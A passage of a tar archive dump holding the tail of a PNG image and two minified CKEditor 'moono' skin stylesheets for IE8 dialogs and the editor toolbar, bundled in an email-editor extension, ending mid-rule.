ʲ=_ƆB.B޷Ox4ƪҲng8D:cy*M<wLIo%i8Cߝm,?ES3:boJv0ǆ+*qt(1ukvE5ŞE_Nmkv}1KgnKf^n+#6呗s2#/΅̹F>he%ٟ{͞/DJ5CKDӲJX$av̡    IENDB`                                                                                          editors/acyeditor/acyeditor/ckeditor/skins/moono/dialog_ie8.css                                     0000705                 00000041171 15242051521 0020762 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:50%;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5;opacity:.8;filter:alpha(opacity = 80)}.cke_dialog_close_button:hover{opacity:1;filter:alpha(opacity = 100)}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:4px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}span.cke_dialog_ui_button{padding:0 10px}a.cke_dialog_ui_button:hover{border-color:#9e9e9e;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}a.cke_dialog_ui_button:focus,a.cke_dialog_ui_button:active{border-color:#969696;outline:0;-moz-box-shadow:0 0 6px rgba(0,0,0,.4) inset;-webkit-box-shadow:0 0 6px rgba(0,0,0,.4) inset;box-shadow:0 0 6px rgba(0,0,0,.4) inset}.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button:focus,.cke_hc a.cke_dialog_ui_button:active{border:3px solid;padding-top:1px;padding-bottom:1px}.cke_hc a.cke_dialog_ui_button:hover span,.cke_hc a.cke_dialog_ui_button:focus span,.cke_hc a.cke_dialog_ui_button:active span{padding-left:10px;padding-right:10px}.cke_dialog_footer_buttons a.cke_dialog_ui_button span{color:inherit;font-size:12px;font-weight:bold;line-height:18px;padding:0 12px}a.cke_dialog_ui_button_ok{color:#fff;text-shadow:0 -1px 0 #55830c;border-color:#62a60a #62a60a #4d9200;background:#69b10b;background-image:-webkit-gradient(linear,0 0,0 100%,from(#9ad717),to(#69b10b));background-image:-webkit-linear-gradient(top,#9ad717,#69b10b);background-image:-o-linear-gradient(top,#9ad717,#69b10b);background-image:linear-gradient(to bottom,#9ad717,#69b10b);background-image:-moz-linear-gradient(top,#9ad717,#69b10b);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#9ad717',endColorstr='#69b10b')}a.cke_dialog_ui_button_ok:hover{border-color:#5b9909 #5b9909 #478500;background:#88be14;background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#88be14),color-stop(100%,#5d9c0a));background:-webkit-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:-o-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:linear-gradient(to bottom,#88be14 0,#5d9c0a 100%);background:-moz-linear-gradient(top,#88be14 0,#5d9c0a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#88be14',endColorstr='#5d9c0a',GradientType=0)}a.cke_dialog_ui_button span{text-shadow:0 1px 0 #fff}a.cke_dialog_ui_button_ok span{text-shadow:0 -1px 0 #55830c}span.cke_dialog_ui_button{cursor:pointer}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active,a.cke_dialog_ui_button_cancel:focus,a.cke_dialog_ui_button_cancel:active{border-width:2px;padding:3px 0}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active{border-color:#568c0a}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{padding:0 11px}.cke_dialog_footer_buttons{display:inline-table;margin:5px;width:auto;position:relative;vertical-align:middle}div.cke_dialog_ui_input_select{display:table}select.cke_dialog_ui_input_select{height:25px;line-height:25px;background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:3px 3px 3px 6px;outline:0;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}.cke_dialog_ui_input_file{width:100%;height:25px}.cke_hc .cke_dialog_ui_labeled_content input:focus,.cke_hc .cke_dialog_ui_labeled_content select:focus,.cke_hc .cke_dialog_ui_labeled_content textarea:focus{outline:1px dotted}.cke_dialog .cke_dark_background{background-color:#dedede}.cke_dialog .cke_light_background{background-color:#ebebeb}.cke_dialog .cke_centered{text-align:center}.cke_dialog a.cke_btn_reset{float:right;background:url(images/refresh.png) top left no-repeat;width:16px;height:16px;border:1px none;font-size:1px}.cke_hidpi .cke_dialog a.cke_btn_reset{background-size:16px;background-image:url(images/hidpi/refresh.png)}.cke_rtl .cke_dialog a.cke_btn_reset{float:left}.cke_dialog a.cke_btn_locked,.cke_dialog a.cke_btn_unlocked{float:left;width:16px;height:16px;background-repeat:no-repeat;border:none 1px;font-size:1px}.cke_dialog a.cke_btn_locked .cke_icon{display:none}.cke_rtl .cke_dialog a.cke_btn_locked,.cke_rtl .cke_dialog a.cke_btn_unlocked{float:right}.cke_dialog a.cke_btn_locked{background-image:url(images/lock.png)}.cke_dialog a.cke_btn_unlocked{background-image:url(images/lock-open.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked,.cke_hidpi .cke_dialog a.cke_btn_locked{background-size:16px}.cke_hidpi .cke_dialog a.cke_btn_locked{background-image:url(images/hidpi/lock.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked{background-image:url(images/hidpi/lock-open.png)}.cke_dialog .cke_btn_over{border:outset 1px;cursor:pointer}.cke_dialog .ImagePreviewBox{border:2px ridge black;overflow:scroll;height:200px;width:300px;padding:2px;background-color:white}.cke_dialog .ImagePreviewBox table td{white-space:normal}.cke_dialog .ImagePreviewLoader{position:absolute;white-space:normal;overflow:hidden;height:160px;width:230px;margin:2px;padding:2px;opacity:.9;filter:alpha(opacity = 90);background-color:#e4e4e4}.cke_dialog .FlashPreviewBox{white-space:normal;border:2px ridge black;overflow:auto;height:160px;width:390px;padding:2px;background-color:white}.cke_dialog .cke_pastetext{width:346px;height:170px}.cke_dialog .cke_pastetext textarea{width:340px;height:170px;resize:none}.cke_dialog iframe.cke_pasteframe{width:346px;height:130px;background-color:white;border:1px solid #aeb3b9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.cke_dialog .cke_hand{cursor:pointer}.cke_disabled{color:#a0a0a0}.cke_dialog_body .cke_label{display:none}.cke_dialog_body label{display:inline;margin-bottom:auto;cursor:default}.cke_dialog_body label.cke_required{font-weight:bold}a.cke_smile{overflow:hidden;display:block;text-align:center;padding:.3em 0}a.cke_smile img{vertical-align:middle}a.cke_specialchar{cursor:inherit;display:block;height:1.25em;padding:.2em .3em;text-align:center}a.cke_smile,a.cke_specialchar{border:1px solid transparent}a.cke_smile:hover,a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:hover,a.cke_specialchar:focus,a.cke_specialchar:active{background:#fff;outline:0}a.cke_smile:hover,a.cke_specialchar:hover{border-color:#888}a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_over{outline:1px dotted #696969}.cke_iframe_shim{display:block;position:absolute;top:0;left:0;z-index:-1;filter:alpha(opacity = 0);width:100%;height:100%}.cke_rtl input.cke_dialog_ui_input_text,.cke_rtl input.cke_dialog_ui_input_password{padding-right:2px}.cke_rtl div.cke_dialog_ui_input_text,.cke_rtl div.cke_dialog_ui_input_password{padding-left:2px}.cke_rtl div.cke_dialog_ui_input_text{padding-right:1px}.cke_rtl .cke_dialog_ui_vbox_child,.cke_rtl .cke_dialog_ui_hbox_child,.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_last{padding-right:2px!important}.cke_hc .cke_dialog_title,.cke_hc .cke_dialog_footer,.cke_hc a.cke_dialog_tab,.cke_hc a.cke_dialog_ui_button,.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button_ok,.cke_hc a.cke_dialog_ui_button_ok:hover{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:0}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{display:block}                                                                                                                                                                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/skins/moono/editor_ie8.css                                     0000705                 00000111445 15242051521 0021013 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled 